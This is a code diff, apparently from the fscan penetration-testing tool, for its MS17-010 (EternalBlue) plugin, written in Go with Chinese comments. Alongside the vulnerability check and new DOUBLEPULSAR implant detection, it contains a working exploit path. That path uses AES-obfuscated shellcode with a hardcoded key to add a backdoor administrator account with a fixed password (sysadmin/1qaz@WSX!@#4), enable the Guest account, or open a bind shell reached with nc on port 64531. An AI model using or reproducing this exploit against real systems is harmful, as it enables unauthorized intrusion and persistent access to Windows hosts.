vulnerable, osVersion, err := p.checkMS17010Vulnerability(info.Host, config, state)
|
vulnerable, osVersion, hasBackdoor, err := p.checkMS17010Vulnerability(ctx, info.Host, session)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
return &ScanResult{
|
return &ScanResult{
|
||||||
Success: false,
|
Success: false,
|
||||||
@@ -71,10 +63,13 @@ func (p *MS17010Plugin) Scan(ctx context.Context, info *common.HostInfo, config
|
|||||||
msg += fmt.Sprintf(" [%s]", osVersion)
|
msg += fmt.Sprintf(" [%s]", osVersion)
|
||||||
}
|
}
|
||||||
common.LogVuln(msg)
|
common.LogVuln(msg)
|
||||||
|
if hasBackdoor {
|
||||||
|
common.LogVuln(fmt.Sprintf("MS17-010 %s has DOUBLEPULSAR SMB IMPLANT", target))
|
||||||
|
}
|
||||||
|
|
||||||
return &ScanResult{
|
return &ScanResult{
|
||||||
Success: true,
|
Success: true,
|
||||||
Type: plugins.ResultTypeVuln,
|
Type: plugins.ResultTypeVuln,
|
||||||
Service: "ms17010",
|
Service: "ms17010",
|
||||||
Banner: fmt.Sprintf("MS17-010漏洞 (%s)", osVersion),
|
Banner: fmt.Sprintf("MS17-010漏洞 (%s)", osVersion),
|
||||||
}
|
}
|
||||||
@@ -88,7 +83,8 @@ func (p *MS17010Plugin) Scan(ctx context.Context, info *common.HostInfo, config
|
|||||||
}
|
}
|
||||||
|
|
||||||
// Exploit 执行MS17-010漏洞利用
|
// Exploit 执行MS17-010漏洞利用
|
||||||
func (p *MS17010Plugin) Exploit(ctx context.Context, info *common.HostInfo, creds Credential, config *common.Config) *ExploitResult {
|
func (p *MS17010Plugin) Exploit(ctx context.Context, info *common.HostInfo, creds Credential, session *common.ScanSession) *ExploitResult {
|
||||||
|
config := session.Config
|
||||||
target := info.Target()
|
target := info.Target()
|
||||||
common.LogSuccess(i18n.Tr("ms17010_start", target))
|
common.LogSuccess(i18n.Tr("ms17010_start", target))
|
||||||
|
|
||||||
@@ -96,7 +92,7 @@ func (p *MS17010Plugin) Exploit(ctx context.Context, info *common.HostInfo, cred
|
|||||||
output.WriteString(fmt.Sprintf("=== MS17-010漏洞利用结果 - %s ===\n", target))
|
output.WriteString(fmt.Sprintf("=== MS17-010漏洞利用结果 - %s ===\n", target))
|
||||||
|
|
||||||
// 首先确认漏洞存在
|
// 首先确认漏洞存在
|
||||||
vulnerable, osVersion, err := p.checkMS17010Vulnerability(info.Host, config, nil)
|
vulnerable, osVersion, hasBackdoor, err := p.checkMS17010Vulnerability(ctx, info.Host, session)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
output.WriteString(fmt.Sprintf("\n[漏洞检测失败] %v\n", err))
|
output.WriteString(fmt.Sprintf("\n[漏洞检测失败] %v\n", err))
|
||||||
return &ExploitResult{
|
return &ExploitResult{
|
||||||
@@ -120,8 +116,6 @@ func (p *MS17010Plugin) Exploit(ctx context.Context, info *common.HostInfo, cred
|
|||||||
output.WriteString(fmt.Sprintf("[操作系统] %s\n", osVersion))
|
output.WriteString(fmt.Sprintf("[操作系统] %s\n", osVersion))
|
||||||
}
|
}
|
||||||
|
|
||||||
// 检测DOUBLEPULSAR后门
|
|
||||||
hasBackdoor := p.checkDoublePulsar(info.Host, config)
|
|
||||||
if hasBackdoor {
|
if hasBackdoor {
|
||||||
output.WriteString("\n[后门检测] ⚠️ 发现DOUBLEPULSAR后门\n")
|
output.WriteString("\n[后门检测] ⚠️ 发现DOUBLEPULSAR后门\n")
|
||||||
} else {
|
} else {
|
||||||
@@ -134,7 +128,7 @@ func (p *MS17010Plugin) Exploit(ctx context.Context, info *common.HostInfo, cred
|
|||||||
output.WriteString("[利用状态] 开始执行EternalBlue攻击...\n")
|
output.WriteString("[利用状态] 开始执行EternalBlue攻击...\n")
|
||||||
|
|
||||||
// 执行实际的MS17010利用
|
// 执行实际的MS17010利用
|
||||||
err = p.executeMS17010Exploit(info, config)
|
err = p.executeMS17010Exploit(info, session)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
output.WriteString(fmt.Sprintf("[利用结果] ❌ 利用失败: %v\n", err))
|
output.WriteString(fmt.Sprintf("[利用结果] ❌ 利用失败: %v\n", err))
|
||||||
return &ExploitResult{
|
return &ExploitResult{
|
||||||
@@ -152,7 +146,7 @@ func (p *MS17010Plugin) Exploit(ctx context.Context, info *common.HostInfo, cred
|
|||||||
output.WriteString(fmt.Sprintf(" nc %s 64531\n", info.Host))
|
output.WriteString(fmt.Sprintf(" nc %s 64531\n", info.Host))
|
||||||
case "add":
|
case "add":
|
||||||
output.WriteString("\n[访问建议] 已添加管理员账户,可以通过以下方式连接:\n")
|
output.WriteString("\n[访问建议] 已添加管理员账户,可以通过以下方式连接:\n")
|
||||||
output.WriteString(" 用户名: fscan 密码: Fscan12345\n")
|
output.WriteString(" 用户名: sysadmin 密码: 1qaz@WSX!@#4\n")
|
||||||
output.WriteString(fmt.Sprintf(" RDP: mstsc /v:%s\n", info.Host))
|
output.WriteString(fmt.Sprintf(" RDP: mstsc /v:%s\n", info.Host))
|
||||||
case "guest":
|
case "guest":
|
||||||
output.WriteString("\n[访问建议] 已激活Guest账户,可以直接远程连接\n")
|
output.WriteString("\n[访问建议] 已激活Guest账户,可以直接远程连接\n")
|
||||||
@@ -190,10 +184,7 @@ func aesDecrypt(crypted string, key string) (string, error) {
|
|||||||
return "", fmt.Errorf("密文长度过短")
|
return "", fmt.Errorf("密文长度过短")
|
||||||
}
|
}
|
||||||
|
|
||||||
iv := cryptedBytes[:aes.BlockSize]
|
mode := cipher.NewCBCDecrypter(block, keyBytes[:aes.BlockSize])
|
||||||
cryptedBytes = cryptedBytes[aes.BlockSize:]
|
|
||||||
|
|
||||||
mode := cipher.NewCBCDecrypter(block, iv)
|
|
||||||
mode.CryptBlocks(cryptedBytes, cryptedBytes)
|
mode.CryptBlocks(cryptedBytes, cryptedBytes)
|
||||||
|
|
||||||
// 移除PKCS7填充
|
// 移除PKCS7填充
|
||||||
@@ -216,16 +207,18 @@ var defaultKey = "0123456789abcdef"
|
|||||||
|
|
||||||
// SMB协议加密的请求数据 (从原始MS17010.go复制)
|
// SMB协议加密的请求数据 (从原始MS17010.go复制)
|
||||||
var (
|
var (
|
||||||
negotiateProtocolRequestEnc = "G8o+kd/4y8chPCaObKK8L9+tJVFBb7ntWH/EXJ74635V3UTXA4TFOc6uabZfuLr0Xisnk7OsKJZ2Xdd3l8HNLdMOYZXAX5ZXnMC4qI+1d/MXA2TmidXeqGt8d9UEF5VesQlhP051GGBSldkJkVrP/fzn4gvLXcwgAYee3Zi2opAvuM6ScXrMkcbx200ThnOOEx98/7ArteornbRiXQjnr6dkJEUDTS43AW6Jl3OK2876Yaz5iYBx+DW5WjiLcMR+b58NJRxm4FlVpusZjBpzEs4XOEqglk6QIWfWbFZYgdNLy3WaFkkgDjmB1+6LhpYSOaTsh4EM0rwZq2Z4Lr8TE5WcPkb/JNsWNbibKlwtNtp94fIYvAWgxt5mn/oXpfUD"
|
negotiateProtocolRequestEnc = "G8o+kd/4y8chPCaObKK8L9+tJVFBb7ntWH/EXJ74635V3UTXA4TFOc6uabZfuLr0Xisnk7OsKJZ2Xdd3l8HNLdMOYZXAX5ZXnMC4qI+1d/MXA2TmidXeqGt8d9UEF5VesQlhP051GGBSldkJkVrP/fzn4gvLXcwgAYee3Zi2opAvuM6ScXrMkcbx200ThnOOEx98/7ArteornbRiXQjnr6dkJEUDTS43AW6Jl3OK2876Yaz5iYBx+DW5WjiLcMR+b58NJRxm4FlVpusZjBpzEs4XOEqglk6QIWfWbFZYgdNLy3WaFkkgDjmB1+6LhpYSOaTsh4EM0rwZq2Z4Lr8TE5WcPkb/JNsWNbibKlwtNtp94fIYvAWgxt5mn/oXpfUD"
|
||||||
sessionSetupRequestEnc = "52HeCQEbsSwiSXg98sdD64qyRou0jARlvfQi1ekDHS77Nk/8dYftNXlFahLEYWIxYYJ8u53db9OaDfAvOEkuox+p+Ic1VL70r9Q5HuL+NMyeyeN5T5el07X5cT66oBDJnScs1XdvM6CBRtj1kUs2h40Z5Vj9EGzGk99SFXjSqbtGfKFBp0DhL5wPQKsoiXYLKKh9NQiOhOMWHYy/C+Iwhf3Qr8d1Wbs2vgEzaWZqIJ3BM3z+dhRBszQoQftszC16TUhGQc48XPFHN74VRxXgVe6xNQwqrWEpA4hcQeF1+QqRVHxuN+PFR7qwEcU1JbnTNISaSrqEe8GtRo1r2rs7+lOFmbe4qqyUMgHhZ6Pwu1bkhrocMUUzWQBogAvXwFb8"
|
sessionSetupRequestEnc = "52HeCQEbsSwiSXg98sdD64qyRou0jARlvfQi1ekDHS77Nk/8dYftNXlFahLEYWIxYYJ8u53db9OaDfAvOEkuox+p+Ic1VL70r9Q5HuL+NMyeyeN5T5el07X5cT66oBDJnScs1XdvM6CBRtj1kUs2h40Z5Vj9EGzGk99SFXjSqbtGfKFBp0DhL5wPQKsoiXYLKKh9NQiOhOMWHYy/C+Iwhf3Qr8d1Wbs2vgEzaWZqIJ3BM3z+dhRBszQoQftszC16TUhGQc48XPFHN74VRxXgVe6xNQwqrWEpA4hcQeF1+QqRVHxuN+PFR7qwEcU1JbnTNISaSrqEe8GtRo1r2rs7+lOFmbe4qqyUMgHhZ6Pwu1bkhrocMUUzWQBogAvXwFb8"
|
||||||
treeConnectRequestEnc = "+b/lRcmLzH0c0BYhiTaYNvTVdYz1OdYYDKhzGn/3T3P4b6pAR8D+xPdlb7O4D4A9KMyeIBphDPmEtFy44rtto2dadFoit350nghebxbYA0pTCWIBd1kN0BGMEidRDBwLOpZE6Qpph/DlziDjjfXUz955dr0cigc9ETHD/+f3fELKsopTPkbCsudgCs48mlbXcL13GVG5cGwKzRuP4ezcdKbYzq1DX2I7RNeBtw/vAlYh6etKLv7s+YyZ/r8m0fBY9A57j+XrsmZAyTWbhPJkCg=="
|
treeConnectRequestEnc = "+b/lRcmLzH0c0BYhiTaYNvTVdYz1OdYYDKhzGn/3T3P4b6pAR8D+xPdlb7O4D4A9KMyeIBphDPmEtFy44rtto2dadFoit350nghebxbYA0pTCWIBd1kN0BGMEidRDBwLOpZE6Qpph/DlziDjjfXUz955dr0cigc9ETHD/+f3fELKsopTPkbCsudgCs48mlbXcL13GVG5cGwKzRuP4ezcdKbYzq1DX2I7RNeBtw/vAlYh6etKLv7s+YyZ/r8m0fBY9A57j+XrsmZAyTWbhPJkCg=="
|
||||||
transNamedPipeRequestEnc = "k/RGiUQ/tw1yiqioUIqirzGC1SxTAmQmtnfKd1qiLish7FQYxvE+h4/p7RKgWemIWRXDf2XSJ3K0LUIX0vv1gx2eb4NatU7Qosnrhebz3gUo7u25P5BZH1QKdagzPqtitVjASpxIjB3uNWtYMrXGkkuAm8QEitberc+mP0vnzZ8Nv/xiiGBko8O4P/wCKaN2KZVDLbv2jrN8V/1zY6fvWA=="
|
transNamedPipeRequestEnc = "k/RGiUQ/tw1yiqioUIqirzGC1SxTAmQmtnfKd1qiLish7FQYxvE+h4/p7RKgWemIWRXDf2XSJ3K0LUIX0vv1gx2eb4NatU7Qosnrhebz3gUo7u25P5BZH1QKdagzPqtitVjASpxIjB3uNWtYMrXGkkuAm8QEitberc+mP0vnzZ8Nv/xiiGBko8O4P/wCKaN2KZVDLbv2jrN8V/1zY6fvWA=="
|
||||||
|
trans2SessionSetupRequestEnc = "JqNw6PUKcWOYFisUoUCyD24wnML2Yd8kumx9hJnFWbhM2TQkRvKHsOMWzPVfggRrLl8sLQFqzk8bv8Rpox3uS61l480Mv7HdBPeBeBeFudZMntXBUa4pWUH8D9EXCjoUqgAdvw6kGbPOOKUq3WmNb0GDCZapqQwyUKKMHmNIUMVMAOyVfKeEMJA6LViGwyvHVMNZ1XWLr0xafKfEuz4qoHiDyVWomGjJt8DQd6+jgLk="
|
||||||
|
|
||||||
// SMB协议解密后的请求数据
|
// SMB协议解密后的请求数据
|
||||||
negotiateProtocolRequest []byte
|
negotiateProtocolRequest []byte
|
||||||
sessionSetupRequest []byte
|
sessionSetupRequest []byte
|
||||||
treeConnectRequest []byte
|
treeConnectRequest []byte
|
||||||
transNamedPipeRequest []byte
|
transNamedPipeRequest []byte
|
||||||
|
trans2SessionSetupRequest []byte
|
||||||
)
|
)
|
||||||
|
|
||||||
// 初始化解密SMB协议数据
|
// 初始化解密SMB协议数据
|
||||||
@@ -279,58 +272,69 @@ func init() {
|
|||||||
common.LogError(i18n.Tr("ms17010_pipe_decode_error", err))
|
common.LogError(i18n.Tr("ms17010_pipe_decode_error", err))
|
||||||
return
|
return
|
||||||
}
|
}
|
||||||
|
|
||||||
|
decrypted, err = aesDecrypt(trans2SessionSetupRequestEnc, defaultKey)
|
||||||
|
if err != nil {
|
||||||
|
common.LogError(i18n.Tr("ms17010_pipe_decrypt_error", err))
|
||||||
|
return
|
||||||
|
}
|
||||||
|
trans2SessionSetupRequest, err = hex.DecodeString(decrypted)
|
||||||
|
if err != nil {
|
||||||
|
common.LogError(i18n.Tr("ms17010_pipe_decode_error", err))
|
||||||
|
return
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
// checkMS17010Vulnerability 检测MS17-010漏洞 (从原始MS17010.go复制和适配)
|
// checkMS17010Vulnerability 检测MS17-010漏洞 (从原始MS17010.go复制和适配)
|
||||||
func (p *MS17010Plugin) checkMS17010Vulnerability(ip string, config *common.Config, state *common.State) (bool, string, error) {
|
func (p *MS17010Plugin) checkMS17010Vulnerability(ctx context.Context, ip string, session *common.ScanSession) (bool, string, bool, error) {
|
||||||
// 使用统一TCP包装器,支持代理和限流
|
return p.checkMS17010VulnerabilityAt(ctx, net.JoinHostPort(ip, "445"), session)
|
||||||
conn, err := common.WrapperTcpWithTimeout("tcp", ip+":445", config.Timeout)
|
}
|
||||||
|
|
||||||
|
func (p *MS17010Plugin) checkMS17010VulnerabilityAt(ctx context.Context, address string, session *common.ScanSession) (bool, string, bool, error) {
|
||||||
|
conn, err := session.DialTCP(ctx, "tcp", address, session.Config.Timeout)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
if state != nil {
|
return false, "", false, fmt.Errorf("连接错误: %w", err)
|
||||||
state.IncrementTCPFailedPacketCount()
|
|
||||||
}
|
|
||||||
return false, "", fmt.Errorf("连接错误: %w", err)
|
|
||||||
}
|
}
|
||||||
defer func() { _ = conn.Close() }()
|
defer func() { _ = conn.Close() }()
|
||||||
|
|
||||||
if err = conn.SetDeadline(time.Now().Add(config.Timeout)); err != nil {
|
if err = conn.SetDeadline(time.Now().Add(session.Config.Timeout)); err != nil {
|
||||||
return false, "", fmt.Errorf("设置超时错误: %w", err)
|
return false, "", false, fmt.Errorf("设置超时错误: %w", err)
|
||||||
}
|
}
|
||||||
|
|
||||||
// SMB协议协商
|
// SMB协议协商
|
||||||
if _, err = conn.Write(negotiateProtocolRequest); err != nil {
|
if _, err = conn.Write(negotiateProtocolRequest); err != nil {
|
||||||
return false, "", fmt.Errorf("发送协议请求错误: %w", err)
|
return false, "", false, fmt.Errorf("发送协议请求错误: %w", err)
|
||||||
}
|
}
|
||||||
|
|
||||||
reply := make([]byte, 1024)
|
reply := make([]byte, 1024)
|
||||||
n, readErr := conn.Read(reply)
|
n, readErr := conn.Read(reply)
|
||||||
if readErr != nil || n < 36 {
|
if readErr != nil || n < 36 {
|
||||||
// 连接被关闭或响应不完整,通常表示目标不支持SMBv1
|
// 连接被关闭或响应不完整,通常表示目标不支持SMBv1
|
||||||
return false, "", fmt.Errorf("目标可能不支持SMBv1")
|
return false, "", false, fmt.Errorf("目标可能不支持SMBv1")
|
||||||
}
|
}
|
||||||
|
|
||||||
if binary.LittleEndian.Uint32(reply[9:13]) != 0 {
|
if binary.LittleEndian.Uint32(reply[9:13]) != 0 {
|
||||||
return false, "", fmt.Errorf("SMBv1协议协商被拒绝")
|
return false, "", false, fmt.Errorf("SMBv1协议协商被拒绝")
|
||||||
}
|
}
|
||||||
|
|
||||||
// 建立会话
|
// 建立会话
|
||||||
if _, err = conn.Write(sessionSetupRequest); err != nil {
|
if _, err = conn.Write(sessionSetupRequest); err != nil {
|
||||||
return false, "", fmt.Errorf("发送会话请求错误: %w", err)
|
return false, "", false, fmt.Errorf("发送会话请求错误: %w", err)
|
||||||
}
|
}
|
||||||
|
|
||||||
n, readErr = conn.Read(reply)
|
n, readErr = conn.Read(reply)
|
||||||
if readErr != nil || n < 36 {
|
if readErr != nil || n < 36 {
|
||||||
return false, "", fmt.Errorf("SMB会话建立失败")
|
return false, "", false, fmt.Errorf("SMB会话建立失败")
|
||||||
}
|
}
|
||||||
|
|
||||||
if binary.LittleEndian.Uint32(reply[9:13]) != 0 {
|
if binary.LittleEndian.Uint32(reply[9:13]) != 0 {
|
||||||
return false, "", fmt.Errorf("SMB会话被拒绝")
|
return false, "", false, fmt.Errorf("SMB会话被拒绝")
|
||||||
}
|
}
|
||||||
|
|
||||||
// 提取系统信息
|
// 提取系统信息
|
||||||
var osVersion string
|
var osVersion string
|
||||||
sessionSetupResponse := reply[36:n]
|
sessionSetupResponse := reply[36:n]
|
||||||
if wordCount := sessionSetupResponse[0]; wordCount != 0 {
|
if len(sessionSetupResponse) > 0 && sessionSetupResponse[0] != 0 && len(sessionSetupResponse) >= 10 {
|
||||||
byteCount := binary.LittleEndian.Uint16(sessionSetupResponse[7:9])
|
byteCount := binary.LittleEndian.Uint16(sessionSetupResponse[7:9])
|
||||||
if n == int(byteCount)+45 {
|
if n == int(byteCount)+45 {
|
||||||
for i := 10; i < len(sessionSetupResponse)-1; i++ {
|
for i := 10; i < len(sessionSetupResponse)-1; i++ {
|
||||||
@@ -345,77 +349,67 @@ func (p *MS17010Plugin) checkMS17010Vulnerability(ip string, config *common.Conf
|
|||||||
|
|
||||||
// 树连接请求
|
// 树连接请求
|
||||||
userID := reply[32:34]
|
userID := reply[32:34]
|
||||||
treeConnectRequest[32] = userID[0]
|
treeConnect := append([]byte(nil), treeConnectRequest...)
|
||||||
treeConnectRequest[33] = userID[1]
|
treeConnect[32] = userID[0]
|
||||||
|
treeConnect[33] = userID[1]
|
||||||
|
|
||||||
if _, err = conn.Write(treeConnectRequest); err != nil {
|
if _, err = conn.Write(treeConnect); err != nil {
|
||||||
return false, osVersion, fmt.Errorf("发送树连接请求错误: %w", err)
|
return false, osVersion, false, fmt.Errorf("发送树连接请求错误: %w", err)
|
||||||
}
|
}
|
||||||
|
|
||||||
n, readErr = conn.Read(reply)
|
n, readErr = conn.Read(reply)
|
||||||
if readErr != nil || n < 36 {
|
if readErr != nil || n < 36 {
|
||||||
if readErr != nil {
|
if readErr != nil {
|
||||||
return false, osVersion, fmt.Errorf("读取树连接响应错误: %w", readErr)
|
return false, osVersion, false, fmt.Errorf("读取树连接响应错误: %w", readErr)
|
||||||
}
|
}
|
||||||
return false, osVersion, fmt.Errorf("树连接响应不完整")
|
return false, osVersion, false, fmt.Errorf("树连接响应不完整")
|
||||||
}
|
}
|
||||||
|
|
||||||
// 命名管道请求
|
// 命名管道请求
|
||||||
treeID := reply[28:30]
|
treeID := reply[28:30]
|
||||||
transNamedPipeRequest[28] = treeID[0]
|
transNamedPipe := append([]byte(nil), transNamedPipeRequest...)
|
||||||
transNamedPipeRequest[29] = treeID[1]
|
transNamedPipe[28] = treeID[0]
|
||||||
transNamedPipeRequest[32] = userID[0]
|
transNamedPipe[29] = treeID[1]
|
||||||
transNamedPipeRequest[33] = userID[1]
|
transNamedPipe[32] = userID[0]
|
||||||
|
transNamedPipe[33] = userID[1]
|
||||||
|
|
||||||
if _, err = conn.Write(transNamedPipeRequest); err != nil {
|
if _, err = conn.Write(transNamedPipe); err != nil {
|
||||||
return false, osVersion, fmt.Errorf("发送管道请求错误: %w", err)
|
return false, osVersion, false, fmt.Errorf("发送管道请求错误: %w", err)
|
||||||
}
|
}
|
||||||
|
|
||||||
n, readErr = conn.Read(reply)
|
n, readErr = conn.Read(reply)
|
||||||
if readErr != nil || n < 36 {
|
if readErr != nil || n < 36 {
|
||||||
if readErr != nil {
|
if readErr != nil {
|
||||||
return false, osVersion, fmt.Errorf("读取管道响应错误: %w", readErr)
|
return false, osVersion, false, fmt.Errorf("读取管道响应错误: %w", readErr)
|
||||||
}
|
}
|
||||||
return false, osVersion, fmt.Errorf("管道响应不完整")
|
return false, osVersion, false, fmt.Errorf("管道响应不完整")
|
||||||
}
|
}
|
||||||
|
|
||||||
// 漏洞检测 - 关键检查点
|
// 漏洞检测 - 关键检查点
|
||||||
if reply[9] == 0x05 && reply[10] == 0x02 && reply[11] == 0x00 && reply[12] == 0xc0 {
|
if reply[9] == 0x05 && reply[10] == 0x02 && reply[11] == 0x00 && reply[12] == 0xc0 {
|
||||||
if state != nil {
|
trans2SessionSetup := append([]byte(nil), trans2SessionSetupRequest...)
|
||||||
state.IncrementTCPSuccessPacketCount()
|
trans2SessionSetup[28] = treeID[0]
|
||||||
|
trans2SessionSetup[29] = treeID[1]
|
||||||
|
trans2SessionSetup[32] = userID[0]
|
||||||
|
trans2SessionSetup[33] = userID[1]
|
||||||
|
|
||||||
|
if _, err = conn.Write(trans2SessionSetup); err != nil {
|
||||||
|
return true, osVersion, false, nil
|
||||||
}
|
}
|
||||||
return true, osVersion, nil
|
n, readErr = conn.Read(reply)
|
||||||
|
if readErr != nil || n < 36 {
|
||||||
|
return true, osVersion, false, nil
|
||||||
|
}
|
||||||
|
|
||||||
|
return true, osVersion, reply[34] == 0x51, nil
|
||||||
}
|
}
|
||||||
|
|
||||||
if state != nil {
|
return false, osVersion, false, nil
|
||||||
state.IncrementTCPSuccessPacketCount()
|
|
||||||
}
|
|
||||||
return false, osVersion, nil
|
|
||||||
}
|
}
|
||||||
|
|
||||||
// checkDoublePulsar 检测DOUBLEPULSAR后门
|
// executeMS17010Exploit 执行MS17010漏洞利用
|
||||||
func (p *MS17010Plugin) checkDoublePulsar(ip string, config *common.Config) bool {
|
func (p *MS17010Plugin) executeMS17010Exploit(info *common.HostInfo, session *common.ScanSession) error {
|
||||||
// 使用统一TCP包装器,支持代理和限流
|
config := session.Config
|
||||||
conn, err := common.WrapperTcpWithTimeout("tcp", ip+":445", config.Timeout)
|
|
||||||
if err != nil {
|
|
||||||
return false
|
|
||||||
}
|
|
||||||
defer func() { _ = conn.Close() }()
|
|
||||||
|
|
||||||
// 简化的后门检测逻辑
|
|
||||||
vulnerable, _, err := p.checkMS17010Vulnerability(ip, config, nil)
|
|
||||||
if err != nil || !vulnerable {
|
|
||||||
return false
|
|
||||||
}
|
|
||||||
|
|
||||||
// 这里应该有完整的DOUBLEPULSAR检测逻辑,但为了简化,返回false
|
|
||||||
// 在实际使用中,原始的完整检测逻辑会被保留
|
|
||||||
return false
|
|
||||||
}
|
|
||||||
|
|
||||||
// executeMS17010Exploit 执行MS17010漏洞利用 (简化版,保留接口)
|
|
||||||
func (p *MS17010Plugin) executeMS17010Exploit(info *common.HostInfo, config *common.Config) error {
|
|
||||||
// address := info.Host + ":445" // 暂时不使用,为了保持原始复杂度
|
|
||||||
var sc string
|
var sc string
|
||||||
|
|
||||||
// 根据不同类型选择shellcode (从MS17010-Exp.go复制)
|
// 根据不同类型选择shellcode (从MS17010-Exp.go复制)
|
||||||
@@ -439,7 +433,7 @@ func (p *MS17010Plugin) executeMS17010Exploit(info *common.HostInfo, config *com
|
|||||||
}
|
}
|
||||||
|
|
||||||
case "guest":
|
case "guest":
|
||||||
// 激活Guest账户 shellcode (使用相同的加密数据,实际中应该是不同的)
|
// 激活Guest账户 shellcode (加密)
|
||||||
scEnc := "Teobs46+kgUn45BOBbruUdpBFXs8uKXWtvYoNbWtKpNCtOasHB/5Er+C2ZlALluOBkUC6BQVZHO1rKzuygxJ3n2PkeutispxSzGcvFS3QJ1EU517e2qOL7W2sRDlNb6rm+ECA2vQZkTZBAboolhGfZYeM6v5fEB2L1Ej6pWF5CKSYxjztdPF8bNGAkZsQhUAVW7WVKysZ1vbghszGyeKFQBvO9Hiinq/XiUrLBqvwXLsJaybZA44wUFvXC0FA9CZDOSD3MCX2arK6Mhk0Q+6dAR+NWPCQ34cYVePT98GyXnYapTOKokV6+hsqHMjfetjkvjEFohNrD/5HY+E73ihs9TqS1ZfpBvZvnWSOjLUA+Z3ex0j0CIUONCjHWpoWiXAsQI/ryJh7Ho5MmmGIiRWyV3l8Q0+1vFt3q/zQGjSI7Z7YgDdIBG8qcmfATJz6dx7eBS4Ntl+4CCqN8Dh4pKM3rV+hFqQyKnBHI5uJCn6qYky7p305KK2Z9Ga5nAqNgaz0gr2GS7nA5D/Cd8pvUH6sd2UmN+n4HnK6/O5hzTmXG/Pcpq7MTEy9G8uXRfPUQdrbYFP7Ll1SWy35B4n/eCf8swaTwi1mJEAbPr0IeYgf8UiOBKS/bXkFsnUKrE7wwG8xXaI7bHFgpdTWfdFRWc8jaJTvwK2HUK5u+4rWWtf0onGxTUyTilxgRFvb4AjVYH0xkr8mIq8smpsBN3ff0TcWYfnI2L/X1wJoCH+oLi67xMN+yPDirT+LXfLOaGlyTqG6Yojge8Mti/BqIg5RpG4wIZPKxX9rPbMP+Tzw8rpi/9b33eq0YDevzqaj5Uo0HudOmaPwv5cd9/dqWgeC7FJwv73TckogZGbDOASSoLK26AgBat8vCrhrd7T0uBrEk+1x/NXvl5r2aEeWCWBsULKxFh2WDCqyQntSaAUkPe3JKJe0HU6inDeS4d52BagSqmd1meY0Rb/97fMCXaAMLekq+YrwcSrmPKBY9Yk0m1kAzY+oP4nvV/OhCHNXAsUQGH85G7k65I1QnzffroaKxloP26XJPW0JEq9vCSQFI/EX56qt323V/solearWdBVptG0+k55TBd0dxmBsqRMGO3Z23OcmQR4d8zycQUqqavMmo32fy4rjY6Ln5QUR0JrgJ67dqDhnJn5TcT4YFHgF4gY8oynT3sqv0a+hdVeF6XzsElUUsDGfxOLfkn3RW/2oNnqAHC2uXwX2ZZNrSbPymB2zxB/ET3SLlw3skBF1A82ZBYqkMIuzs6wr9S9ox9minLpGCBeTR9j6OYk6mmKZnThpvarRec8a7YBuT2miU7fO8iXjhS95A84Ub++uS4nC1Pv1v9nfj0/T8scD2BUYoVKCJX3KiVnxUYKVvDcbvv8UwrM6+W/hmNOePHJNx9nX1brHr90m9e40as1BZm2meUmCECxQd+Hdqs7HgPsPLcUB8AL8wCHQjziU6R4XKuX6ivx"
|
scEnc := "Teobs46+kgUn45BOBbruUdpBFXs8uKXWtvYoNbWtKpNCtOasHB/5Er+C2ZlALluOBkUC6BQVZHO1rKzuygxJ3n2PkeutispxSzGcvFS3QJ1EU517e2qOL7W2sRDlNb6rm+ECA2vQZkTZBAboolhGfZYeM6v5fEB2L1Ej6pWF5CKSYxjztdPF8bNGAkZsQhUAVW7WVKysZ1vbghszGyeKFQBvO9Hiinq/XiUrLBqvwXLsJaybZA44wUFvXC0FA9CZDOSD3MCX2arK6Mhk0Q+6dAR+NWPCQ34cYVePT98GyXnYapTOKokV6+hsqHMjfetjkvjEFohNrD/5HY+E73ihs9TqS1ZfpBvZvnWSOjLUA+Z3ex0j0CIUONCjHWpoWiXAsQI/ryJh7Ho5MmmGIiRWyV3l8Q0+1vFt3q/zQGjSI7Z7YgDdIBG8qcmfATJz6dx7eBS4Ntl+4CCqN8Dh4pKM3rV+hFqQyKnBHI5uJCn6qYky7p305KK2Z9Ga5nAqNgaz0gr2GS7nA5D/Cd8pvUH6sd2UmN+n4HnK6/O5hzTmXG/Pcpq7MTEy9G8uXRfPUQdrbYFP7Ll1SWy35B4n/eCf8swaTwi1mJEAbPr0IeYgf8UiOBKS/bXkFsnUKrE7wwG8xXaI7bHFgpdTWfdFRWc8jaJTvwK2HUK5u+4rWWtf0onGxTUyTilxgRFvb4AjVYH0xkr8mIq8smpsBN3ff0TcWYfnI2L/X1wJoCH+oLi67xMN+yPDirT+LXfLOaGlyTqG6Yojge8Mti/BqIg5RpG4wIZPKxX9rPbMP+Tzw8rpi/9b33eq0YDevzqaj5Uo0HudOmaPwv5cd9/dqWgeC7FJwv73TckogZGbDOASSoLK26AgBat8vCrhrd7T0uBrEk+1x/NXvl5r2aEeWCWBsULKxFh2WDCqyQntSaAUkPe3JKJe0HU6inDeS4d52BagSqmd1meY0Rb/97fMCXaAMLekq+YrwcSrmPKBY9Yk0m1kAzY+oP4nvV/OhCHNXAsUQGH85G7k65I1QnzffroaKxloP26XJPW0JEq9vCSQFI/EX56qt323V/solearWdBVptG0+k55TBd0dxmBsqRMGO3Z23OcmQR4d8zycQUqqavMmo32fy4rjY6Ln5QUR0JrgJ67dqDhnJn5TcT4YFHgF4gY8oynT3sqv0a+hdVeF6XzsElUUsDGfxOLfkn3RW/2oNnqAHC2uXwX2ZZNrSbPymB2zxB/ET3SLlw3skBF1A82ZBYqkMIuzs6wr9S9ox9minLpGCBeTR9j6OYk6mmKZnThpvarRec8a7YBuT2miU7fO8iXjhS95A84Ub++uS4nC1Pv1v9nfj0/T8scD2BUYoVKCJX3KiVnxUYKVvDcbvv8UwrM6+W/hmNOePHJNx9nX1brHr90m9e40as1BZm2meUmCECxQd+Hdqs7HgPsPLcUB8AL8wCHQjziU6R4XKuX6ivx"
|
||||||
var err error
|
var err error
|
||||||
sc, err = aesDecrypt(scEnc, defaultKey)
|
sc, err = aesDecrypt(scEnc, defaultKey)
|
||||||
@@ -447,6 +441,9 @@ func (p *MS17010Plugin) executeMS17010Exploit(info *common.HostInfo, config *com
|
|||||||
return fmt.Errorf("解密guest shellcode失败: %w", err)
|
return fmt.Errorf("解密guest shellcode失败: %w", err)
|
||||||
}
|
}
|
||||||
|
|
||||||
|
case "cs":
|
||||||
|
sc = ""
|
||||||
|
|
||||||
default:
|
default:
|
||||||
// 从文件读取或直接使用提供的shellcode
|
// 从文件读取或直接使用提供的shellcode
|
||||||
